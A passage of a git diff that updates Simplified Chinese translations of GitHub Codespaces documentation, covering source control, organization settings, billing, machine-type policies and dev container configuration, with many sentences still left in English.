-Source control in {% data variables.product.prodname_github_codespaces %} uses the same workflow as {% data variables.product.prodname_vscode %}. For more information, see the {% data variables.product.prodname_vscode %} documentation "[Using Version Control in VS Code](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)."
+在 {% data variables.product.prodname_github_codespaces %} 中的源控制使用与 {% data variables.product.prodname_vscode %} 相同的工作流程。 更多信息请参阅 {% data variables.product.prodname_vscode %} 文档“[在 VS 代码中使用版本控制](https://code.visualstudio.com/docs/editor/versioncontrol#_git-support)”。
 
-A typical workflow for updating a file using {% data variables.product.prodname_github_codespaces %} would be:
+使用 {% data variables.product.prodname_github_codespaces %} 更新文件的典型工作流程将是：
 
-* From the default branch of your repository on {% data variables.product.prodname_dotcom %}, create a codespace. See "[Creating a codespace](/codespaces/developing-in-codespaces/creating-a-codespace)."
-* In your codespace, create a new branch to work on.
-* Make your changes and save them.
-* Commit the change.
-* Raise a pull request.
+* 从 {% data variables.product.prodname_dotcom %} 上仓库的默认分支，创建代码空间。 请参阅“[创建代码空间](/codespaces/developing-in-codespaces/creating-a-codespace)”。
+* 在代码空间中，创建一个新的分支来操作。
+* 进行更改并保存。
+* 提交更改。
+* 提出拉取请求。
 
-## Creating or switching branches
+## 创建或切换分支
 
 {% data reusables.codespaces.create-or-switch-branch %}
 
 {% tip %}
 
-**Tip**: If someone has changed a file on the remote repository, in the branch you switched to, you will not see those changes until you pull the changes into your codespace. 
+**提示**：如果有人在远程仓库上更改了文件，则在您切换到的分支中，只有将更改拉入代码空间后，您才能看到这些更改。
 
 {% endtip %}
 
-## Pulling changes from the remote repository
+## 从远程仓库拉取更改
 
-You can pull changes from the remote repository into your codespace at any time. 
+您可以随时将远程仓库的更改拉取到您的代码空间。
 
 {% data reusables.codespaces.source-control-display-dark %}
-1. At the top of the side bar, click the ellipsis (**...**).
-![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button.png)
-1. In the drop-down menu, click **Pull**.
+1. 在侧边栏的顶部，单击省略号 (**...**)。 ![查看和更多操作的省略号按钮](/assets/images/help/codespaces/source-control-ellipsis-button.png)
+1. 在下拉菜单中，单击 **Pull（拉取）**。
 
-If the dev container configuration has been changed since you created the codespace, you can apply the changes by rebuilding the container for the codespace. For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration)."
+如果自创建代码空间以来开发容器配置已更改，则可以通过为代码空间重建容器来应用更改。 For more information, see "[Introduction to dev containers](/codespaces/setting-up-your-codespace/configuring-codespaces-for-your-project#applying-changes-to-your-configuration)."
 
-## Setting your codespace to automatically fetch new changes 
+## 设置代码空间以自动获取新更改
 
-You can set your codespace to automatically fetch details of any new commits that have been made to the remote repository. This allows you to see whether your local copy of the repository is out of date, in which case you may choose to pull in the new changes. 
+您可以设置代码空间，以自动获取对远程仓库所做的任何新提交的详细信息。 这允许您查看仓库的本地副本是否过时，如果是，您可以选择拉取新的更改。
 
-If the fetch operation detects new changes on the remote repository, you'll see the number of new commits in the status bar. You can then pull the changes into your local copy.
+如果获取操作检测到远程仓库上的新更改，您将在状态栏中看到新提交的数量。 然后，您可以将更改拉取到本地副本。
 
-1. Click the **Manage** button at the bottom of the Activity Bar.
-![Manage button](/assets/images/help/codespaces/manage-button.png)
-1. In the menu, slick **Settings**.
-1. On the Settings page, search for: `autofetch`.
-![Search for autofetch](/assets/images/help/codespaces/autofetch-search.png)
-1. To fetch details of updates for all remotes registered for the current repository, set **Git: Autofetch** to `all`.
-![Enable Git autofetch](/assets/images/help/codespaces/autofetch-all.png)
-1. If you want to change the number of seconds between each automatic fetch, edit the value of **Git: Autofetch Period**.
+1. 单击活动栏底部的 **Manage（管理）**按钮。 ![管理按钮](/assets/images/help/codespaces/manage-button.png)
+1. 在菜单中，单击 **Settings（设置）**。
+1. 在 Settings（设置）页面上，搜索：`autofetch`。 ![搜索自动获取](/assets/images/help/codespaces/autofetch-search.png)
+1. 要获取当前仓库注册的所有远程仓库的更新详情，请将 **Git: Autofetch** 设置为 `all`。 ![启用 Git 自动获取](/assets/images/help/codespaces/autofetch-all.png)
+1. 如果要更改自动获取的间隔秒数，请编辑 **Git: Autofetch Period** 的值。
 
-## Committing your changes 
+## 提交更改
 
-{% data reusables.codespaces.source-control-commit-changes %} 
+{% data reusables.codespaces.source-control-commit-changes %}
 
-## Raising a pull request
+## 提出拉取请求
 
-{% data reusables.codespaces.source-control-pull-request %} 
+{% data reusables.codespaces.source-control-pull-request %}
 
-## Pushing changes to your remote repository
+## 将更改推送到远程仓库
 
-You can push the changes you've made. This applies those changes to the upstream branch on the remote repository. You might want to do this if you're not yet ready to create a pull request, or if you prefer to create a pull request on {% data variables.product.prodname_dotcom %}.
+您可以推送所做的更改。 这将应用这些更改到远程仓库上的上游分支。 如果您尚未准备好创建拉取请求，或者希望在 {% data variables.product.prodname_dotcom %} 上创建拉取请求，则可能需要这样做。
 
-1. At the top of the side bar, click the ellipsis (**...**).
-![Ellipsis button for View and More Actions](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png)
-1. In the drop-down menu, click **Push**.
+1. 在侧边栏的顶部，单击省略号 (**...**)。 ![查看和更多操作的省略号按钮](/assets/images/help/codespaces/source-control-ellipsis-button-nochanges.png)
+1. 在下拉菜单中，单击 **Push（推送）**。
diff --git a/translations/zh-CN/content/codespaces/guides.md b/translations/zh-CN/content/codespaces/guides.md
index 5607e64f4d..057575125b 100644
--- a/translations/zh-CN/content/codespaces/guides.md
+++ b/translations/zh-CN/content/codespaces/guides.md
@@ -1,8 +1,8 @@
 ---
-title: Codespaces guides
-shortTitle: Guides
+title: 代码空间指南
+shortTitle: 指南
 product: '{% data reusables.gated-features.codespaces %}'
-intro: Learn how to make the most of GitHub
+intro: 了解如何充分利用 GitHub
 allowTitleToDifferFromFilename: true
 layout: product-guides
 versions:
diff --git a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
index 7e68cd8fd1..dd81df7ecc 100644
--- a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
+++ b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/enabling-codespaces-for-your-organization.md
@@ -1,7 +1,7 @@
 ---
 title: Enabling Codespaces for your organization
 shortTitle: Enable Codespaces
-intro: 'You can control which users in your organization can use {% data variables.product.prodname_codespaces %}.'
+intro: '您可以控制组织中的哪些用户可以使用 {% data variables.product.prodname_codespaces %}。'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'To manage user permissions for {% data variables.product.prodname_codespaces %} for an organization, you must be an organization owner.'
 redirect_from:
@@ -19,29 +19,29 @@ topics:
 
 ## About enabling {% data variables.product.prodname_codespaces %} for your organization
 
-Organization owners can control which users in your organization can create and use codespaces.
+组织所有者可以控制组织中的哪些用户可以创建和使用代码空间。
 
 To use codespaces in your organization, you must do the following:
 
-- Ensure that users have [at least write access](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) to the repositories where they want to use a codespace. 
-- [Enable {% data variables.product.prodname_codespaces %} for users in your organization](#configuring-which-users-in-your-organization-can-use-codespaces). You can choose allow {% data variables.product.prodname_codespaces %} for selected users or only for specific users.
+- Ensure that users have [at least write access](/organizations/managing-access-to-your-organizations-repositories/repository-permission-levels-for-an-organization) to the repositories where they want to use a codespace.
+- [Enable {% data variables.product.prodname_codespaces %} for users in your organization](#enable-codespaces-for-users-in-your-organization). You can choose allow {% data variables.product.prodname_codespaces %} for selected users or only for specific users.
 - [Set a spending limit](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)
-- Ensure that your organization does not have an IP address allow list enabled. For more information, see "[Managing allowed IP addresses for your organization](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)."
+- Ensure that your organization does not have an IP address allow list enabled. 更多信息请参阅“[管理组织允许的 IP 地址](/organizations/keeping-your-organization-secure/managing-allowed-ip-addresses-for-your-organization)”。
 
-By default, a codespace can only access the repository from which it was created. If you want codespaces in your organization to be able to access other organization repositories that the codespace creator can access, see "[Managing access and security for {% data variables.product.prodname_codespaces %}](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)."
+By default, a codespace can only access the repository from which it was created. 如果您希望组织中的代码空间能够访问代码空间创建者可以访问的其他组织仓库，请参阅“[管理 {% data variables.product.prodname_codespaces %} 的访问和安全](/codespaces/managing-codespaces-for-your-organization/managing-access-and-security-for-your-organizations-codespaces)”。
 
 ## Enable {% data variables.product.prodname_codespaces %} for users in your organization
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.click-codespaces %}
-1. Under "User permissions", select one of the following options:
+1. 在“User permissions（用户权限）”下，选择以下选项之一：
 
-   * **Selected users** to select specific organization members to use {% data variables.product.prodname_codespaces %}.
+   * **Selected users（所选用户）**选择特定组织成员使用 {% data variables.product.prodname_codespaces %}。
    * **Allow for all members** to allow all your organization members to use {% data variables.product.prodname_codespaces %}.
    * **Allow for all members and outside collaborators** to allow all your organization members as well as outside collaborators to use {% data variables.product.prodname_codespaces %}.
 
-   ![Radio buttons for "User permissions"](/assets/images/help/codespaces/org-user-permission-settings-outside-collaborators.png)
+   !["用户权限"单选按钮](/assets/images/help/codespaces/org-user-permission-settings-outside-collaborators.png)
 
    {% note %}
 
@@ -49,7 +49,7 @@ By default, a codespace can only access the repository from which it was created
 
    {% endnote %}
 
-1. Click **Save**.
+1. 单击 **Save（保存）**。
 
 ## Disabling {% data variables.product.prodname_codespaces %} for your organization
 
@@ -60,6 +60,6 @@ By default, a codespace can only access the repository from which it was created
 
 ## Setting a spending limit
 
-{% data reusables.codespaces.codespaces-spending-limit-requirement %} 
+{% data reusables.codespaces.codespaces-spending-limit-requirement %}
 
-For information on managing and changing your account's spending limit, see "[Managing your spending limit for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)."
+有关管理和更改帐户支出限制的信息，请参阅“[管理 {% data variables.product.prodname_codespaces %} 的支出限制](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)”。
diff --git a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/index.md b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/index.md
index 7695ae228c..0924962c6c 100644
--- a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/index.md
+++ b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/index.md
@@ -13,6 +13,7 @@ children:
   - /managing-encrypted-secrets-for-your-repository-and-organization-for-codespaces
   - /managing-repository-access-for-your-organizations-codespaces
   - /reviewing-your-organizations-audit-logs-for-codespaces
+  - /restricting-access-to-machine-types
 shortTitle: 管理组织
 ---
 
diff --git a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
index 1df624ccef..d54fdaa121 100644
--- a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
+++ b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-billing-for-codespaces-in-your-organization.md
@@ -1,6 +1,6 @@
 ---
 title: Managing billing for Codespaces in your organization
-shortTitle: Manage billing
+shortTitle: 管理计费
 intro: 'You can check your {% data variables.product.prodname_codespaces %} usage and set usage limits.'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'To manage billing for Codespaces for an organization, you must be an organization owner or a billing manager.'
@@ -13,7 +13,7 @@ topics:
   - Billing
 ---
 
-## Overview
+## 概览
 
 To learn about pricing for {% data variables.product.prodname_codespaces %}, see "[{% data variables.product.prodname_codespaces %} pricing](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces#codespaces-pricing)."
 
@@ -23,13 +23,13 @@ To learn about pricing for {% data variables.product.prodname_codespaces %}, see
 
 - For users, there is a guide that explains how billing works: ["Understanding billing for Codespaces"](/codespaces/codespaces-reference/understanding-billing-for-codespaces)
 
-## Usage limits
+## 使用限制
 
 You can set a usage limit for the codespaces in your organization or repository. This limit is applied to the compute and storage usage for {% data variables.product.prodname_codespaces %}:
- 
+
 - **Compute minutes:** Compute usage is calculated by the actual number of minutes used by all {% data variables.product.prodname_codespaces %} instances while they are active. These totals are reported to the billing service daily, and is billed monthly. You can set a spending limit for {% data variables.product.prodname_codespaces %} usage in your organization. For more information, see "[Managing spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)."
 
-- **Storage usage:**  For {% data variables.product.prodname_codespaces %} billing purposes, this includes all storage used by all codespaces in your account. This includes all used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. These totals are reported to the billing service daily, and is billed monthly. At the end of the month, {% data variables.product.prodname_dotcom %} rounds your storage to the nearest MB. To check how many compute minutes and storage GB have been used by {% data variables.product.prodname_codespaces %}, see "[Viewing your Codespaces usage"](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)."
+- **Storage usage:**  For {% data variables.product.prodname_codespaces %} billing purposes, this includes all storage used by all codespaces in your account. This includes all used by the codespaces, such as cloned repositories, configuration files, and extensions, among others. These totals are reported to the billing service daily, and is billed monthly. 到月底，{% data variables.product.prodname_dotcom %} 会将您的存储量舍入到最接近的 MB。 To check how many compute minutes and storage GB have been used by {% data variables.product.prodname_codespaces %}, see "[Viewing your Codespaces usage"](/billing/managing-billing-for-github-codespaces/viewing-your-codespaces-usage)."
 
 ## Disabling or limiting {% data variables.product.prodname_codespaces %}
 
@@ -37,12 +37,14 @@ You can disable the use of {% data variables.product.prodname_codespaces %} in y
 
 You can also limit the individual users who can use {% data variables.product.prodname_codespaces %}. For more information, see "[Managing user permissions for your organization](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)."
 
+You can limit the choice of machine types that are available for repositories owned by your organization. This allows you to prevent people using overly resourced machines for their codespaces. For more information, see "[Restricting access to machine types](/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types)."
+
 ## Deleting unused codespaces
 
-Your users can delete their codespaces in https://github.com/codespaces and from within Visual Studio Code. To reduce the size of a codespace, users can manually delete files using the terminal or from within Visual Studio Code. 
+Your users can delete their codespaces in https://github.com/codespaces and from within Visual Studio Code. To reduce the size of a codespace, users can manually delete files using the terminal or from within Visual Studio Code.
 
 {% note %}
 
-**Note:** Only the person who created a codespace can delete it. There is currently no way for organization owners to delete codespaces created within their organization.
+**注意：**只有创建代码空间的人才能将其删除。 目前，组织所有者无法删除其组织内创建的代码空间。
 
 {% endnote %}
diff --git a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
index 10088f39bd..fd298072ca 100644
--- a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
+++ b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/managing-repository-access-for-your-organizations-codespaces.md
@@ -1,7 +1,7 @@
 ---
 title: Managing repository access for your organization's codespaces
 shortTitle: Repository access
-intro: 'You can manage the repositories in your organization that {% data variables.product.prodname_codespaces %} can access.'
+intro: '您可以管理 {% data variables.product.prodname_codespaces %} 可以访问的组织仓库。'
 product: '{% data reusables.gated-features.codespaces %}'
 permissions: 'To manage access and security for Codespaces for an organization, you must be an organization owner.'
 versions:
@@ -18,18 +18,16 @@ redirect_from:
   - /codespaces/working-with-your-codespace/managing-access-and-security-for-codespaces
 ---
 
-By default, a codespace can only access the repository where it was created. When you enable access and security for a repository owned by your organization, any codespaces that are created for that repository will also have read permissions to all other repositories the organization owns and the codespace creator has permissions to access. If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. You should only enable access and security for repositories you trust.
+默认情况下，代码空间只能访问创建它的仓库。 When you enable access and security for a repository owned by your organization, any codespaces that are created for that repository will also have read permissions to all other repositories the organization owns and the codespace creator has permissions to access. If you want to restrict the repositories a codespace can access, you can limit it to either the repository where the codespace was created, or to specific repositories. 您应该只对您信任的仓库启用访问和安全。
 
-To manage which users in your organization can use {% data variables.product.prodname_codespaces %}, see "[Managing user permissions for your organization](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)."
+要管理组织中的哪些用户可以使用 {% data variables.product.prodname_codespaces %}，请参阅“[管理组织的用户权限](/codespaces/managing-codespaces-for-your-organization/managing-user-permissions-for-your-organization)”。
 
 {% data reusables.profile.access_org %}
 {% data reusables.profile.org_settings %}
 {% data reusables.organizations.click-codespaces %}
-1. Under "Access and security", select the setting you want for your organization.
-  ![Radio buttons to manage trusted repositories](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png)
-1. If you chose "Selected repositories", select the drop-down menu, then click a repository to allow the repository's codespaces to access other repositories owned by your organization. Repeat for all repositories whose codespaces you want to access other repositories.
-    !["Selected repositories" drop-down menu](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
+1. 在“Access and security（访问和安全）”下，为组织选择所需的设置。 ![管理信任仓库的单选按钮](/assets/images/help/settings/codespaces-org-access-and-security-radio-buttons.png)
+1. 如果您选择了“Selected repositories（所选仓库）”，请选择下拉菜单，然后单击一个仓库，以允许该仓库的代码空间访问组织拥有的其他仓库。 对于您要允许其代码空间访问其他仓库的所有仓库重复此操作。 !["所选仓库" 下拉菜单](/assets/images/help/settings/codespaces-access-and-security-repository-drop-down.png)
 
-## Further Reading
+## 延伸阅读
 
 - "[Managing repository access for your codespaces](/codespaces/managing-your-codespaces/managing-repository-access-for-your-codespaces)"
diff --git a/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md
new file mode 100644
index 0000000000..14e98cf19b
--- /dev/null
+++ b/translations/zh-CN/content/codespaces/managing-codespaces-for-your-organization/restricting-access-to-machine-types.md
@@ -0,0 +1,94 @@
+---
+title: Restricting access to machine types
+shortTitle: Machine type access
+intro: You can set constraints on the types of machines users can choose when they create codespaces in your organization.
+product: '{% data reusables.gated-features.codespaces %}'
+permissions: 'To manage access to machine types for the repositories in an organization, you must be an organization owner.'
+versions:
+  fpt: '*'
+  ghec: '*'
+type: how_to
+topics:
+  - Codespaces
+---
+
+## 概览
+
+Typically, when you create a codespace you are offered a choice of specifications for the machine that will run your codespace. You can choose the machine type that best suits your needs. 更多信息请参阅“[创建代码空间](/codespaces/developing-in-codespaces/creating-a-codespace#creating-a-codespace)”。 If you pay for using {% data variables.product.prodname_github_codespaces %} then your choice of machine type will affect how much your are billed. For more information about pricing, see "[About billing for Codespaces](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)."
+
+As an organization owner, you may want to configure constraints on the types of machine that are available. For example, if the work in your organization doesn't require significant compute power or storage space, you can remove the highly resourced machines from the list of options that people can choose from. You do this by defining one or more policies in the {% data variables.product.prodname_codespaces %} settings for your organization.
+
+### Behavior when you set a machine type constraint
+
+If there are existing codespaces that no longer conform to a policy you have defined, these codespaces will continue to operate until they time out. When the user attempts to resume the codespace they are shown a message telling them that the currenly selected machine type is no longer allowed for this organization and prompting them to choose an alternative machine type.
+
+If you remove higher specification machine types that are required by the {% data variables.product.prodname_codespaces %} configuration for an individual repository in your organization, then it won't be possible to create a codespace for that repository. When someone attempts to create a codespace they will see a message telling them that there are no valid machine types available that meet the requirements of the repository's {% data variables.product.prodname_codespaces %} configuration.
+
+{% note %}
+
+**Note**: Anyone who can edit the `devcontainer.json` configuration file in a repository can set a minimum specification for machines that can be used for codespaces for that repository. For more information, see "[Setting a minimum specification for codespace machines](/codespaces/setting-up-your-project-for-codespaces/setting-a-minimum-specification-for-codespace-machines)."
+
+{% endnote %}
+
+If setting a policy for machine types prevents people from using {% data variables.product.prodname_codespaces %} for a particular repository there are two options:
+
+* You can adjust your policies to specifically remove the restrictions from the affected repository.
+* Anyone who has a codespace that they can no longer access, because of the new policy, can export their codespace to a branch. This branch will contain all of their changes from the codespace. They can then open a new codespace on this branch with a compliant machine type or work on this branch locally. For more information, see "[Exporting changes to a branch](/codespaces/troubleshooting/exporting-changes-to-a-branch)."
+
+### Setting organization-wide and repository-specific policies
+
+When you create a policy you choose whether it applies to all repositories in your organization, or only to specified repositories. If you set an organization-wide policy then any policies you set for individual repositories must fall within the restriction set at the organization level. Adding policies makes the choice of machine more, not less, restrictive.
+
+For example, you could create an organization-wide policy that restricts the machine types to either 2 or 4 cores. You can then set a policy for Repository A that restricts it to just 2-core machines. Setting a policy for Repository A that restricted it to machines with 2, 4, or 8 cores would result in a choice of 2-core and 4-core machines only, because the organization-wide policy prevents access to 8-core machines.
+
+If you add an organization-wide policy, you should set it to the largest choice of machine types that will be available for any repository in your organization. You can then add repository-specific policies to further restrict the choice.
+
+## Adding a policy to limit the available machine types
+
+{% data reusables.profile.access_org %}
+{% data reusables.profile.org_settings %}
+{% data reusables.organizations.click-codespaces %}
+1. Under "Codespaces", click **Policy**.
+
+   !["Policy" tab in left sidebar](/assets/images/help/organizations/codespaces-policy-sidebar.png)
+
+1. On the "Codespace policies" page, click **Create Policy**.
+1. Enter a name for your new policy.
+1. Click **Add constraint** and choose **Machine types**.
+
+   ![Add a constraint for machine types](/assets/images/help/codespaces/add-constraint-dropdown.png)
+
+1. Click {% octicon "pencil" aria-label="The edit icon" %} to edit the constraint, then clear the selection of any machine types that you don't want to be available.
+
+   ![Edit the machine type constraint](/assets/images/help/codespaces/edit-machine-constraint.png)
+
+1. In the "Change policy target" area, click the dropdown button.
+1. Choose either **All repositories** or **Selected repositories** to determine which repositories this policy will apply to.
+1. 如果选择了 **Selected repositories（所选仓库）**：
+   1. 单击 {% octicon "gear" aria-label="The settings icon" %}。
+
+      ![Edit the settings for the policy](/assets/images/help/codespaces/policy-edit.png)
+
+   1. Select the repositories you want this policy to apply to.
+   1. At the bottom of the repository list, click **Select repositories**.
+
+      ![Select repositories for this policy](/assets/images/help/codespaces/policy-select-repos.png)
+
+1. 单击 **Save（保存）**。
+
+## Editing a policy
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to limit the available machine types](#adding-a-policy-to-limit-the-available-machine-types)."
+1. Click the name of the policy you want to edit.
+1. Make the required changes then click **Save**.
+
+## Deleting a policy
+
+1. Display the "Codespace policies" page. For more information, see "[Adding a policy to limit the available machine types](#adding-a-policy-to-limit-the-available-machine-types)."
+1. Click the delete button to the right of the policy you want to delete.
+
+   ![The delete button for a policy](/assets/images/help/codespaces/policy-delete.png)
+
+## 延伸阅读
+
+- "[Managing spending limits for Codespaces](/billing/managing-billing-for-github-codespaces/managing-spending-limits-for-codespaces)"
diff --git a/translations/zh-CN/content/codespaces/managing-your-codespaces/index.md b/translations/zh-CN/content/codespaces/managing-your-codespaces/index.md
index e761e9a65c..3f850af9ec 100644
--- a/translations/zh-CN/content/codespaces/managing-your-codespaces/index.md
+++ b/translations/zh-CN/content/codespaces/managing-your-codespaces/index.md
@@ -1,6 +1,6 @@
 ---
-title: Managing your codespaces
-intro: 'You can use {% data variables.product.prodname_github_codespaces %} settings to manage information that your codespace might need.'
+title: 管理代码空间
+intro: '您可以使用 {% data variables.product.prodname_github_codespaces %} 设置来管理代码空间可能需要的信息。'
 product: '{% data reusables.gated-features.codespaces %}'
 versions:
   fpt: '*'
@@ -15,4 +15,4 @@ children:
   - /reviewing-your-security-logs-for-codespaces
   - /managing-gpg-verification-for-codespaces
 ---
- 
+
diff --git a/translations/zh-CN/content/codespaces/overview.md b/translations/zh-CN/content/codespaces/overview.md
index 82baf5c9f1..0683c63b2c 100644
--- a/translations/zh-CN/content/codespaces/overview.md
+++ b/translations/zh-CN/content/codespaces/overview.md
@@ -1,6 +1,6 @@
 ---
 title: GitHub Codespaces overview
-shortTitle: Overview
+shortTitle: 概览
 product: '{% data reusables.gated-features.codespaces %}'
 intro: 'This guide introduces {% data variables.product.prodname_codespaces %} and provides details on how it works and how to use it.'
 allowTitleToDifferFromFilename: true
@@ -36,7 +36,7 @@ If you don't do any custom configuration, {% data variables.product.prodname_cod
 
 You can also personalize aspects of your codespace environment by using a public [dotfiles](https://dotfiles.github.io/tutorials/) repository and [Settings Sync](https://code.visualstudio.com/docs/editor/settings-sync). Personalization can include shell preferences, additional tools, editor settings, and VS Code extensions. For more information, see "[Customizing your codespace](/codespaces/customizing-your-codespace)".
 
-## About billing for {% data variables.product.prodname_codespaces %}
+## 关于 {% data variables.product.prodname_codespaces %} 的计费
 
 For information on pricing, storage, and usage for {% data variables.product.prodname_codespaces %}, see "[Managing billing for {% data variables.product.prodname_codespaces %}](/billing/managing-billing-for-github-codespaces/about-billing-for-codespaces)."
 
diff --git a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md
index 1b2d962e19..2f4d4baa0d 100644
--- a/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md
+++ b/translations/zh-CN/content/codespaces/setting-up-your-project-for-codespaces/configuring-codespaces-for-your-project.md
@@ -1,6 +1,6 @@
 ---
 title: Introduction to dev containers
-intro: 'You can use a `devcontainer.json` file to define a {% data variables.product.prodname_codespaces %} environment for your repository.'
+intro: '您可以使用 `devcontainer.json` 文件来定义仓库的 {% data variables.product.prodname_codespaces %} 环境。'
 allowTitleToDifferFromFilename: true
 permissions: People with write permissions to a repository can create or edit the codespace configuration.
 redirect_from:
@@ -21,27 +21,27 @@ product: '{% data reusables.gated-features.codespaces %}'
 
  
 
-## About dev containers
+## 关于开发容器
 
-A development container, or dev container, is the environment that {% data variables.product.prodname_codespaces %} uses to provide the tools and runtimes that your project needs for development. If your project does not already have a dev container defined, {% data variables.product.prodname_codespaces %} will use the default configuration, which contains many of the common tools that your team might need for development with your project. For more information, see "[Using the default configuration](#using-the-default-configuration)."
+开发容器是 {% data variables.product.prodname_codespaces %} 用于提供项目开发所需的工具和运行时的环境。 If your project does not already have a dev container defined, {% data variables.product.prodname_codespaces %} will use the default configuration, which contains many of the common tools that your team might need for development with your project. For more information, see "[Using the default configuration](#using-the-default-configuration)."
 
-If you want all users of your project to have a consistent environment that is tailored to your project, you can add a dev container to your repository. You can use a predefined configuration to select a common configuration for various project types with the option to further customize your project or you can create your own custom configuration. For more information, see "[Using a predefined container configuration](#using-a-predefined-container-configuration)" and "[Creating a custom codespace configuration](#creating-a-custom-codespace-configuration)." The option you choose is dependent on the tools, runtimes, dependencies, and workflows that a user might need to be successful with your project.
+If you want all users of your project to have a consistent environment that is tailored to your project, you can add a dev container to your repository. You can use a predefined configuration to select a common configuration for various project types with the option to further customize your project or you can create your own custom configuration. For more information, see "[Using a predefined container configuration](#using-a-predefined-container-configuration)" and "[Creating a custom codespace configuration](#creating-a-custom-codespace-configuration)." 您选择的选项取决于用户在项目中取得成功可能需要使用的工具、运行时、依赖项和工作流程。
 
-{% data variables.product.prodname_codespaces %} allows for customization on a per-project and per-branch basis with a `devcontainer.json` file. This configuration file determines the environment of every new codespace anyone creates for your repository by defining a development container that can include frameworks, tools, extensions, and port forwarding. A Dockerfile can also be used alongside the `devcontainer.json` file in the `.devcontainer` folder to define everything required to create a container image.
+{% data variables.product.prodname_codespaces %} 允许使用 `devcontainer.json` 文件针对每个项目和每个分支进行自定义。 此配置文件通过定义可包括框架、工具、扩展和端口转发的开发容器，确定任何人为仓库创建的每个新代码空间的环境。 Dockerfile 还可与 `.devcontainer` 文件夹中的 `devcontainer.json` 文件一起使用，以定义创建容器映像所需的所有要素。
 
 ### devcontainer.json
 
 {% data reusables.codespaces.devcontainer-location %}
 
-You can use your `devcontainer.json` to set default settings for the entire codespace environment, including the editor, but you can also set editor-specific settings for individual [workspaces](https://code.visualstudio.com/docs/editor/workspaces) in a codespace in a file named `.vscode/settings.json`.
+您可以使用 `devcontainer.json` 为整个代码空间环境设置默认设置，包括编辑器，但您也可以在 `.vscode/set.json` 文件中设置代码空间中单个[工作空间](https://code.visualstudio.com/docs/editor/workspaces)的编辑器特定设置。
 
-For information about the settings and properties that you can set in a `devcontainer.json`, see [devcontainer.json reference](https://aka.ms/vscode-remote/devcontainer.json) in the {% data variables.product.prodname_vscode %} documentation.
+有关在 `devcontainer.json` 中可以设置的设置和属性，请参阅 {% data variables.product.prodname_vscode %} 文档中的 [devcontainer.json 参考](https://aka.ms/vscode-remote/devcontainer.json)。
 
 ### Dockerfile
 
-A Dockerfile also lives in the `.devcontainer` folder. 
+Dockerfile 也存在于 `.devcontainer` 文件夹中。
 
-You can add a Dockerfile to your project to define a container image and install software. In the Dockerfile, you can use `FROM` to specify the container image.
+您可以将 Dockerfile 添加到项目中来定义容器映像和安装软件。 在 Dockerfile 中，您可以使用 `FROM` 来指定容器映像。
 
 ```Dockerfile
 FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-14
@@ -55,9 +55,9 @@ FROM mcr.microsoft.com/vscode/devcontainers/javascript-node:0-14
 # USER codespace
 ```
 
-You can use the `RUN` instruction to install any software and `&&` to join commands.
+您可以使用 `RUN` 指令安装任何软件并使用 `&&` 加入命令。
 
-Reference your Dockerfile in your `devcontainer.json` file by using the `dockerfile` property.
+使用 `dockerfile` 属性，在您的 `devcontainer.json` 文件中引用 Dockerfile。
 
 ```json
 {
